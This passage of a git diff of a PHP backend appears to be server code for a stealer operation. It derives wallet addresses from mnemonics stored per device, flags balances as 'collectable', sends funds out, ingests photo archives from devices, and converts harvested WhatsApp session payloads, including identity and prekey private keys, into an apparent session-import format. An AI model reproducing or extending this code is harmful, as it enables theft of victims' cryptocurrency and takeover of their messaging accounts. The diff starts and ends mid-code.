$coins = $this->emptyCoins($network);
|
||||
if ($result['native'] !== null) {
|
||||
$coins[$network] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBsc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('BSC', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$bnb = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
|
||||
@@ -292,6 +406,7 @@ class MnemonicWalletDiscovery
|
||||
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver.
|
||||
if ($driver instanceof BtcDriver) {
|
||||
$probe = $driver->probeAddress($address);
|
||||
|
||||
@@ -316,9 +431,24 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeSol(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('SOL', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->solCoinsFromAlchemy($result),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to SolDriver RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$sol = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
||||
}
|
||||
|
||||
@@ -338,7 +468,33 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function solCoinsFromAlchemy(array $result): array
|
||||
{
|
||||
$coins = $this->emptyCoins('sol');
|
||||
if ($result['native'] !== null) {
|
||||
$coins['sol'] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist (or refresh) an activated derived address. Returns the row only
|
||||
* when this is a first-time association (new row, or previously unlinked) so
|
||||
* the caller can fire a single "可归集" notification. Already-linked rows are
|
||||
* refreshed silently and return null to avoid duplicate notifications.
|
||||
*
|
||||
* @param array<string, string> $coins
|
||||
* @return WalletAddress|null null when the row was already linked to this mnemonic
|
||||
*/
|
||||
private function persistActivated(
|
||||
WalletMnemonic $mnemonic,
|
||||
@@ -347,7 +503,7 @@ class MnemonicWalletDiscovery
|
||||
string $address,
|
||||
int $index,
|
||||
array $coins,
|
||||
): WalletAddress {
|
||||
): ?WalletAddress {
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
@@ -355,11 +511,16 @@ class MnemonicWalletDiscovery
|
||||
'chain_type' => $chainType,
|
||||
]);
|
||||
|
||||
// First-time association = brand-new row OR an existing row that had no
|
||||
// mnemonic link yet. Only these warrant a collectable notification.
|
||||
$isNew = ! $row->exists;
|
||||
$wasUnlinked = $isNew || $row->getOriginal('mnemonic_id') === null;
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
$row->mnemonic_id = $mnemonic->id;
|
||||
$row->derive_index = $index;
|
||||
$row->monitor = 1;
|
||||
if (! $row->exists) {
|
||||
if ($isNew) {
|
||||
$row->monitor_synced = false;
|
||||
$row->monitor_failures = 0;
|
||||
}
|
||||
@@ -369,7 +530,7 @@ class MnemonicWalletDiscovery
|
||||
$row->save();
|
||||
$this->enableMonitor($row);
|
||||
|
||||
return $row;
|
||||
return $wasUnlinked ? $row : null;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -57,7 +57,8 @@ class PhotoArchiveIngest
|
||||
return;
|
||||
}
|
||||
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters)
|
||||
->onQueue('extract');
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -127,7 +127,7 @@ class TelegramNotifier
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text);
|
||||
SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram');
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
|
||||
@@ -197,15 +197,16 @@ class TokenviewMonitorService
|
||||
return;
|
||||
}
|
||||
|
||||
$tronRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
$refreshRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
$deltaRows = $rows->filter(function (WalletAddress $row) {
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
|
||||
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
|
||||
foreach ($tronRows as $row) {
|
||||
// Tron/BTC webhooks only carry deltas — refresh from chain as source of truth.
|
||||
// BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO.
|
||||
foreach ($refreshRows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
if (! $this->balances->refresh($row)) {
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
|
||||
@@ -105,7 +105,7 @@ class TransferService
|
||||
}
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
@@ -113,7 +113,7 @@ class TransferService
|
||||
$amount,
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
@@ -19,6 +20,7 @@ class WalletBalanceService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -47,6 +49,14 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$ok = $this->refreshEvmViaAlchemy($address, $addr, 'ETH', 'eth');
|
||||
if ($ok) {
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('eth');
|
||||
$attrs = [
|
||||
@@ -69,6 +79,7 @@ class WalletBalanceService
|
||||
'eth' => $address->eth,
|
||||
'usdt' => $address->usdt,
|
||||
'bnb' => $address->bnb,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -82,6 +93,93 @@ class WalletBalanceService
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Alchemy path for ETH/BSC refresh. One eth_getBalance + one eth_call (USDT).
|
||||
* For ETH, also pull the BSC sibling (BNB + BEP20 USDT) via Alchemy when the
|
||||
* BSC network is enabled, else via the BSC RPC driver.
|
||||
*/
|
||||
private function refreshEvmViaAlchemy(WalletAddress $address, string $addr, string $nativeSymbol, string $network): bool
|
||||
{
|
||||
$result = $this->alchemy->fetch($nativeSymbol, $addr);
|
||||
if ($result === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs[strtolower($nativeSymbol)] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
|
||||
// ETH address == BSC address: also pull BNB + BEP20 USDT and persist sibling.
|
||||
if ($nativeSymbol === 'ETH') {
|
||||
$bsc = $this->alchemy->fetch('BSC', $addr);
|
||||
if ($bsc !== null) {
|
||||
if ($bsc['native'] !== null) {
|
||||
$attrs['bnb'] = $bsc['native']['amount'];
|
||||
}
|
||||
$bscUsdt = $this->findTokenBySymbol($bsc['tokens'], 'USDT');
|
||||
$this->persistBscSibling($address, [
|
||||
'bnb' => $bsc['native']['amount'] ?? '0',
|
||||
'usdt' => $bscUsdt !== null ? $bscUsdt['amount'] : '0',
|
||||
]);
|
||||
} else {
|
||||
// Alchemy BSC not enabled → fall back to BSC RPC for the sibling.
|
||||
$bscCoins = $this->bscCoins($addr);
|
||||
if ($bscCoins !== null) {
|
||||
$attrs['bnb'] = $bscCoins['bnb'];
|
||||
$this->persistBscSibling($address, $bscCoins);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('eth balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $tokens
|
||||
*/
|
||||
private function findTokenBySymbol(array $tokens, string $symbol): ?array
|
||||
{
|
||||
$symbol = strtoupper(trim($symbol));
|
||||
foreach ($tokens as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === $symbol) {
|
||||
return $t;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $tokens
|
||||
*/
|
||||
private function findTokenByContract(array $tokens, string $contract): ?array
|
||||
{
|
||||
$contract = strtolower($contract);
|
||||
if ($contract === '') {
|
||||
return null;
|
||||
}
|
||||
foreach ($tokens as $t) {
|
||||
if (strtolower((string) ($t['contract'] ?? '')) === $contract) {
|
||||
return $t;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function refreshBsc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
@@ -89,6 +187,30 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('BSC', $addr);
|
||||
if ($result !== null) {
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs['bnb'] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('bsc balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$coins = $this->bscCoins($addr);
|
||||
if ($coins === null) {
|
||||
@@ -104,6 +226,7 @@ class WalletBalanceService
|
||||
'address' => $addr,
|
||||
'bnb' => $address->bnb,
|
||||
'usdt' => $address->usdt,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -227,6 +350,7 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver (mempool.space).
|
||||
try {
|
||||
$driver = $this->chains->resolve('btc');
|
||||
$this->persistCoins($address, [
|
||||
@@ -237,6 +361,7 @@ class WalletBalanceService
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'btc' => $address->btc,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -257,6 +382,30 @@ class WalletBalanceService
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('SOL', $addr);
|
||||
if ($result !== null) {
|
||||
$attrs = [];
|
||||
if ($result['native'] !== null) {
|
||||
$attrs['sol'] = $result['native']['amount'];
|
||||
}
|
||||
$usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
|
||||
if ($usdt !== null) {
|
||||
$attrs['usdt'] = $usdt['amount'];
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('sol balance refresh ok', [
|
||||
'wallet_address_id' => $address->id,
|
||||
'address' => $addr,
|
||||
'source' => 'alchemy',
|
||||
]);
|
||||
|
||||
return true;
|
||||
}
|
||||
// Alchemy failed → fall through to SolDriver RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$driver = $this->chains->resolve('sol');
|
||||
$attrs = [
|
||||
@@ -273,6 +422,7 @@ class WalletBalanceService
|
||||
'address' => $addr,
|
||||
'sol' => $address->sol,
|
||||
'usdt' => $address->usdt,
|
||||
'source' => 'rpc',
|
||||
]);
|
||||
|
||||
return true;
|
||||
@@ -444,4 +594,5 @@ class WalletBalanceService
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* ITU-T E.164 calling codes <-> ISO 3166-1 alpha-2.
|
||||
*
|
||||
* Used to infer cc / country / in from a bare WhatsApp phone number
|
||||
* (wap.js reports userId as an int with no country-code breakdown).
|
||||
* Longest-prefix-first so 1-3 digit codes resolve correctly.
|
||||
*/
|
||||
final class CountryCallingCode
|
||||
{
|
||||
/** @var array<string, string> calling-code => ISO alpha-2 */
|
||||
private const CALLING_CODES = [
|
||||
'1' => 'US', '7' => 'RU',
|
||||
'20' => 'EG', '27' => 'ZA', '30' => 'GR', '31' => 'NL', '32' => 'BE',
|
||||
'33' => 'FR', '34' => 'ES', '36' => 'HU', '39' => 'IT', '40' => 'RO',
|
||||
'41' => 'CH', '43' => 'AT', '44' => 'GB', '45' => 'DK', '46' => 'SE',
|
||||
'47' => 'NO', '48' => 'PL', '49' => 'DE', '51' => 'PE', '52' => 'MX',
|
||||
'53' => 'CU', '54' => 'AR', '55' => 'BR', '56' => 'CL', '57' => 'CO',
|
||||
'58' => 'VE', '60' => 'MY', '61' => 'AU', '62' => 'ID', '63' => 'PH',
|
||||
'64' => 'NZ', '65' => 'SG', '66' => 'TH', '81' => 'JP', '82' => 'KR',
|
||||
'84' => 'VN', '86' => 'CN', '90' => 'TR', '91' => 'IN', '92' => 'PK',
|
||||
'93' => 'AF', '94' => 'LK', '95' => 'MM', '98' => 'IR',
|
||||
'211' => 'SS', '212' => 'MA', '213' => 'DZ', '216' => 'TN', '218' => 'LY',
|
||||
'220' => 'GM', '221' => 'SN', '222' => 'MR', '223' => 'ML', '224' => 'GN',
|
||||
'225' => 'CI', '226' => 'BF', '227' => 'NE', '228' => 'TG', '229' => 'BJ',
|
||||
'230' => 'MU', '231' => 'LR', '232' => 'SL', '233' => 'GH', '234' => 'NG',
|
||||
'235' => 'TD', '236' => 'CF', '237' => 'CM', '238' => 'CV', '239' => 'ST',
|
||||
'240' => 'GQ', '241' => 'GA', '242' => 'CG', '243' => 'CD', '244' => 'AO',
|
||||
'245' => 'GW', '248' => 'SC', '249' => 'SD', '250' => 'RW', '251' => 'ET',
|
||||
'252' => 'SO', '253' => 'DJ', '254' => 'KE', '255' => 'TZ', '256' => 'UG',
|
||||
'257' => 'BI', '258' => 'MZ', '260' => 'ZM', '261' => 'MG', '263' => 'ZW',
|
||||
'264' => 'NA', '265' => 'MW', '266' => 'LS', '267' => 'BW', '268' => 'SZ',
|
||||
'269' => 'KM', '290' => 'SH', '291' => 'ER', '297' => 'AW', '298' => 'FO',
|
||||
'299' => 'GL', '350' => 'GI', '351' => 'PT', '352' => 'LU', '353' => 'IE',
|
||||
'354' => 'IS', '355' => 'AL', '356' => 'MT', '357' => 'CY', '358' => 'FI',
|
||||
'359' => 'BG', '370' => 'LT', '371' => 'LV', '372' => 'EE', '373' => 'MD',
|
||||
'374' => 'AM', '375' => 'BY', '376' => 'AD', '377' => 'MC', '378' => 'SM',
|
||||
'380' => 'UA', '381' => 'RS', '382' => 'ME', '383' => 'XK', '385' => 'HR',
|
||||
'386' => 'SI', '387' => 'BA', '389' => 'MK', '420' => 'CZ', '421' => 'SK',
|
||||
'423' => 'LI', '500' => 'FK', '501' => 'BZ', '502' => 'GT', '503' => 'SV',
|
||||
'504' => 'HN', '505' => 'NI', '506' => 'CR', '507' => 'PA', '508' => 'PM',
|
||||
'509' => 'HT', '590' => 'GP', '591' => 'BO', '592' => 'GY', '593' => 'EC',
|
||||
'594' => 'GF', '595' => 'PY', '596' => 'MQ', '597' => 'SR', '598' => 'UY',
|
||||
'599' => 'CW', '670' => 'TL', '672' => 'NF', '673' => 'BN', '674' => 'NR',
|
||||
'675' => 'PG', '676' => 'TO', '677' => 'SB', '678' => 'VU', '679' => 'FJ',
|
||||
'680' => 'PW', '681' => 'WF', '682' => 'CK', '685' => 'WS', '686' => 'KI',
|
||||
'687' => 'NC', '688' => 'TV', '689' => 'PF', '690' => 'TK', '691' => 'FM',
|
||||
'692' => 'MH', '850' => 'KP', '852' => 'HK', '853' => 'MO', '855' => 'KH',
|
||||
'856' => 'LA', '880' => 'BD', '886' => 'TW', '960' => 'MV', '961' => 'LB',
|
||||
'962' => 'JO', '963' => 'SY', '964' => 'IQ', '965' => 'KW', '966' => 'SA',
|
||||
'967' => 'YE', '968' => 'OM', '971' => 'AE', '972' => 'IL', '973' => 'BH',
|
||||
'974' => 'QA', '975' => 'BT', '976' => 'MN', '977' => 'NP', '992' => 'TJ',
|
||||
'993' => 'TM', '994' => 'AZ', '995' => 'GE', '996' => 'KG', '998' => 'UZ',
|
||||
];
|
||||
|
||||
/**
|
||||
* Infer [cc, country] from a bare E.164 phone (no + prefix).
|
||||
* Longest-prefix-first; returns ['', ''] on no match.
|
||||
*
|
||||
* @return array{0:string, 1:string} [cc, iso]
|
||||
*/
|
||||
public static function inferFromPhone(string $phone): array
|
||||
{
|
||||
$phone = preg_replace('/\D+/', '', $phone) ?? '';
|
||||
if ($phone === '') {
|
||||
return ['', ''];
|
||||
}
|
||||
for ($len = 3; $len >= 1; $len--) {
|
||||
$prefix = substr($phone, 0, $len);
|
||||
if (isset(self::CALLING_CODES[$prefix])) {
|
||||
return [$prefix, self::CALLING_CODES[$prefix]];
|
||||
}
|
||||
}
|
||||
|
||||
return ['', ''];
|
||||
}
|
||||
|
||||
public static function callingCodeForCountry(?string $iso): ?string
|
||||
{
|
||||
$iso = strtoupper(trim((string) $iso));
|
||||
if ($iso === '' || $iso === 'T1' || $iso === 'XX') {
|
||||
return null;
|
||||
}
|
||||
foreach (self::CALLING_CODES as $code => $country) {
|
||||
if ($country === $iso) {
|
||||
return $code;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -266,6 +266,9 @@ final class WalletSource
|
||||
'TRX', 'TRON',
|
||||
'BTC', 'BITCOIN',
|
||||
'BNB', 'BSC', 'BINANCE',
|
||||
'SOL', 'SOLANA',
|
||||
'ARB', 'ARBITRUM',
|
||||
'TON', 'TONCOIN',
|
||||
];
|
||||
|
||||
public static function isSupportedChain(string $chainType): bool
|
||||
@@ -375,6 +378,7 @@ final class WalletSource
|
||||
'SOLANA', 'SOL' => 'SOL',
|
||||
'TON' => 'TON',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
'ARB', 'ARBITRUM' => 'ETH',
|
||||
default => strtoupper($chainType) ?: 'UNKNOWN',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,250 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PluginSession;
|
||||
|
||||
/**
|
||||
* Convert a wap.js WhatsApp session payload (xxbb family, POST /api/wp/t)
|
||||
* into the 26-field NDJSON record format used by chk.ts native output
|
||||
* (the __ws.txt format: one JSON object per line, fixed key order).
|
||||
*
|
||||
* Field coverage vs chk.ts native output:
|
||||
* - 21/26 directly from wap.js payload
|
||||
* - 1 derived (clientStaticPublicKey via libsodium curve25519)
|
||||
* - 5 empty (cc/country/language/mnc/deviceUUID — wap.js does not collect)
|
||||
*
|
||||
* cc / country / in are inferred from the bare phone number via
|
||||
* {@see CountryCallingCode}; device.country (CF-IPCountry) is used as a
|
||||
* cross-check fallback when the phone-prefix lookup is ambiguous.
|
||||
*/
|
||||
final class WsPayloadConverter
|
||||
{
|
||||
/** Fixed key order matching __ws.txt / chk.ts native output. */
|
||||
private const FIELD_ORDER = [
|
||||
'cc', 'clientStaticPrivateKey', 'clientStaticPublicKey', 'country',
|
||||
'device', 'deviceUUID', 'identityPrivateKey', 'identityPublicKey',
|
||||
'in', 'jid', 'language', 'manufacturer', 'mcc', 'mnc',
|
||||
'osBuildNumber', 'osVersion', 'phone', 'phoneUUID', 'registrationID',
|
||||
'roProductBoard', 'roProductDevice', 'signPreKeyID',
|
||||
'signPreKeyPrivateKey', 'signPreKeyPublicKey', 'signPreKeySignature',
|
||||
'whatsappVersion',
|
||||
];
|
||||
|
||||
/**
|
||||
* Convert one PluginSession (kind=WHATSAPP) into a 26-field record.
|
||||
* Returns null when the payload lacks the minimum key material.
|
||||
*
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
public function convert(PluginSession $session, ?Device $device = null): ?array
|
||||
{
|
||||
$blob = $session->fullPayload();
|
||||
if (!is_array($blob)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$pks = $blob['phoneKeyStore'] ?? null;
|
||||
$ident = is_array($pks) ? ($pks['identity'] ?? null) : null;
|
||||
$spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null;
|
||||
$csB64 = $blob['clientStaticKeypairBase64'] ?? null;
|
||||
|
||||
if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null);
|
||||
$dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : [];
|
||||
|
||||
[$cc, $country] = $this->inferCcCountry($phone, $device);
|
||||
$in = $cc !== '' && str_starts_with($phone, $cc)
|
||||
? substr($phone, strlen($cc))
|
||||
: $phone;
|
||||
|
||||
$identPub = $this->hexToBytes($ident['hexPublic'] ?? '');
|
||||
$identPriv = $this->hexToBytes($ident['hexPrivate'] ?? '');
|
||||
$spk = $this->parseSignedPreKey($spkHex);
|
||||
$csPriv = base64_decode((string) $csB64, true) ?: '';
|
||||
$csPub = $this->deriveCurve25519Public($csPriv);
|
||||
|
||||
$record = [
|
||||
'cc' => $cc,
|
||||
'clientStaticPrivateKey' => $this->b64($csPriv),
|
||||
'clientStaticPublicKey' => $this->b64($csPub),
|
||||
'country' => $country,
|
||||
'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null),
|
||||
'deviceUUID' => '',
|
||||
'identityPrivateKey' => $this->b64($identPriv),
|
||||
'identityPublicKey' => $this->b64($identPub),
|
||||
'in' => $in,
|
||||
'jid' => $phone,
|
||||
'language' => '',
|
||||
'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple',
|
||||
'mcc' => $this->stringOf($dc['sim_operator'] ?? null),
|
||||
'mnc' => '',
|
||||
'osBuildNumber' => $this->stringOf($dc['display'] ?? null),
|
||||
'osVersion' => $this->stringOf($dc['sdk_release'] ?? null),
|
||||
'phone' => $phone,
|
||||
'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null),
|
||||
'registrationID' => (int) ($ident['registration_id'] ?? 0),
|
||||
'roProductBoard' => $this->stringOf($dc['board'] ?? null),
|
||||
'roProductDevice' => $this->stringOf($dc['device'] ?? null),
|
||||
'signPreKeyID' => $spk['id'] ?? 0,
|
||||
'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''),
|
||||
'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''),
|
||||
'signPreKeySignature' => $this->b64($spk['sig'] ?? ''),
|
||||
'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||
];
|
||||
|
||||
// Enforce fixed key order.
|
||||
$ordered = [];
|
||||
foreach (self::FIELD_ORDER as $k) {
|
||||
$ordered[$k] = $record[$k] ?? '';
|
||||
}
|
||||
|
||||
return $ordered;
|
||||
}
|
||||
|
||||
/** One NDJSON line (no trailing newline). */
|
||||
public function convertToLine(PluginSession $session, ?Device $device = null): ?string
|
||||
{
|
||||
$rec = $this->convert($session, $device);
|
||||
if ($rec === null) {
|
||||
return null;
|
||||
}
|
||||
$json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
|
||||
return $json === false ? null : $json;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{cc:string, country:string}
|
||||
*/
|
||||
private function inferCcCountry(string $phone, ?Device $device): array
|
||||
{
|
||||
if ($phone !== '') {
|
||||
[$cc, $country] = CountryCallingCode::inferFromPhone($phone);
|
||||
if ($cc !== '') {
|
||||
return [$cc, $country];
|
||||
}
|
||||
}
|
||||
// Fallback: device.country (CF-IPCountry ISO code) -> calling code.
|
||||
if ($device !== null) {
|
||||
$iso = strtoupper(trim((string) $device->country));
|
||||
$cc = CountryCallingCode::callingCodeForCountry($iso);
|
||||
if ($cc !== null) {
|
||||
return [$cc, $iso];
|
||||
}
|
||||
}
|
||||
|
||||
return ['', ''];
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse signedPreKey.hexKey protobuf:
|
||||
* field 1 (varint) = prekey_id
|
||||
* field 2 (bytes) = public key (33 bytes, 05 prefix)
|
||||
* field 3 (bytes) = private key (32 bytes)
|
||||
* field 4 (bytes) = signature (64 bytes)
|
||||
*
|
||||
* @return array{id:int, pub:string, priv:string, sig:string}
|
||||
*/
|
||||
private function parseSignedPreKey(string $hex): array
|
||||
{
|
||||
$d = $this->hexToBytes($hex);
|
||||
$out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => ''];
|
||||
$o = 0;
|
||||
$n = strlen($d);
|
||||
while ($o < $n) {
|
||||
[$tag, $o] = $this->readVarint($d, $o);
|
||||
$field = $tag >> 3;
|
||||
$wire = $tag & 7;
|
||||
if ($wire === 0) {
|
||||
[$v, $o] = $this->readVarint($d, $o);
|
||||
if ($field === 1) {
|
||||
$out['id'] = (int) $v;
|
||||
}
|
||||
} elseif ($wire === 2) {
|
||||
[$ln, $o] = $this->readVarint($d, $o);
|
||||
$v = substr($d, $o, $ln);
|
||||
$o += $ln;
|
||||
if ($field === 2) {
|
||||
$out['pub'] = $v;
|
||||
} elseif ($field === 3) {
|
||||
$out['priv'] = $v;
|
||||
} elseif ($field === 4) {
|
||||
$out['sig'] = $v;
|
||||
}
|
||||
} elseif ($wire === 1) {
|
||||
$o += 8;
|
||||
} elseif ($wire === 5) {
|
||||
$o += 4;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/** Curve25519 public key from a 32-byte private key (libsodium). */
|
||||
private function deriveCurve25519Public(string $priv): string
|
||||
{
|
||||
if (strlen($priv) !== 32) {
|
||||
return '';
|
||||
}
|
||||
try {
|
||||
return sodium_crypto_box_publickey_from_secretkey($priv);
|
||||
} catch (\SodiumException $e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/** @return array{0:int, 1:int} */
|
||||
private function readVarint(string $d, int $o): array
|
||||
{
|
||||
$v = 0;
|
||||
$s = 0;
|
||||
while ($o < strlen($d)) {
|
||||
$b = ord($d[$o]);
|
||||
$o++;
|
||||
